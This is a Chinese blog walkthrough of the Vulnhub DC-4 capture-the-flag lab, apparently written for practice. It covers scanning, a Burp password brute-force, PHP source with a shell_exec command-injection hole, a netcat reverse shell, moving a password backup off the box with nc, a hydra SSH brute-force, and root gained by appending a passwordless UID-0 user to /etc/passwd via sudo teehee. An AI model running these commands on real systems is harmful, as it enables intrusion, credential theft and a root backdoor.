Vulnhub内网渗透DC-4靶场通关


DC系列共9个靶场,本次来试玩一下DC-4,只有一个flag,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

DC-4: 192.168.31.176
Kali: 192.168.31.17
Win7: 192.168.31.168


信息搜集

首先是主机发现,得到靶机ip

arp-scan -l

对其进行端口扫描,开放了80、22、4444端口

nmap -sV -A -p- 192.168.31.176

先80端口登上去看一看,是个登录窗口。

御剑对其进行目录扫描,所有php网页都是跳转到index.php,因此无论如何都要登录进去得了。


渗透过程

这个登录界面做的很简易,明显就是想让人攻进去。或许存在sql注入(但我没有试出来),直接丢进burp一波爆破,爆出账号admin,密码happy。登进去后是一个命令执行。

使用burp抓个包看看能否截获。果然只要修改radio的值就能修改执行的命令。
当然shadow是不可能让我们看的,可以看一看login.php,密码确实是happy。部分源码如下:

login.php
...
<?php
                $username = $_POST['username'];
                $password = $_POST['password'];
                
                if ($username == 'admin' && $password == 'happy') {
                    $_SESSION['LoggedIn']=$username;
                }
                else
                {
...
command.php
...
if (isset($_SESSION['LoggedIn'])) {
                    if (isset($_POST['submit'])) {
                    if(isset($_POST['radio']))
                        {
                            echo "You have selected: ".$_POST['radio'] . "<br />";
                            $my_cmd = $_POST['radio'];
                            //echo $my_cmd;
                            $output = shell_exec($my_cmd);
                            echo "<pre>";
                            print $output;
                            echo "</pre>";
                        }
                    }
                    echo "<p><a href='login.php'>Return to the menu.</a>";
                }
...

本来想上传个webshell,结果当前目录没有写的权限,我是用命令执行漏洞nc反弹shell的。

nc -lvp 4444 -e /bin/bash     #靶机发送shell
nc 192.168.31.176 4444        #kali连接

python建立虚拟终端

python -m 'improt pty;pty.spawn("/bin/bash");'

登录进来就是www-data用户。


提权

然后就各处常见目录翻一翻,最终在/home中发现三个人类用户-> jim, charles, sam
只有在jim中有文件,其他都是空的。

test.sh就是个循环四五遍的echo测试,mailbox是root发给他的一封信,也没有什么有价值的内容。backups中有文件old_passwords.bak密码备份文件,利用python建立HTTP服务或直接nc传输到kali上来进行ssh的爆破。

nc 192.168.31.17 7890 < old_passwords.bak
nc -lvp 4444 > pass.txt
hydra -l jim -P pass.txt 192.168.31.176 ssh

爆破出jim的ssh密码为:jibril04
直接ssh连上去。sudo -l看一下能执行什么管理员权限,结果直接sudo就没有权限。内核漏洞更是不存在。
这里我卡了很久,一直没有什么提权思路,jim的权限着实太低了什么都不能干,一直想着怎么提到root,最后想到还有两个用户,可以二次提权。最终那封邮件给了我启发,在/var/mail中找到一封jim的邮件,查看里面就有charles的密码,真是没想到。

su到charles后就能执行sudo -l了,发现teehee是可以以无密码以sudo执行的。

我也不知道teehee是什么,–help看一下文档,

-a 参数可以追加文件,但不会覆盖,直接就想到了在passwd中加一个root权限的用户不就可以提权了。

echo "haha123::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su haha123

最后在/root中找到flag


总结

整个靶场整体并不难,主要是后来得提权要通过邮件还是难想到的。


Author: xzajyjs
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source xzajyjs !
评论
  TOC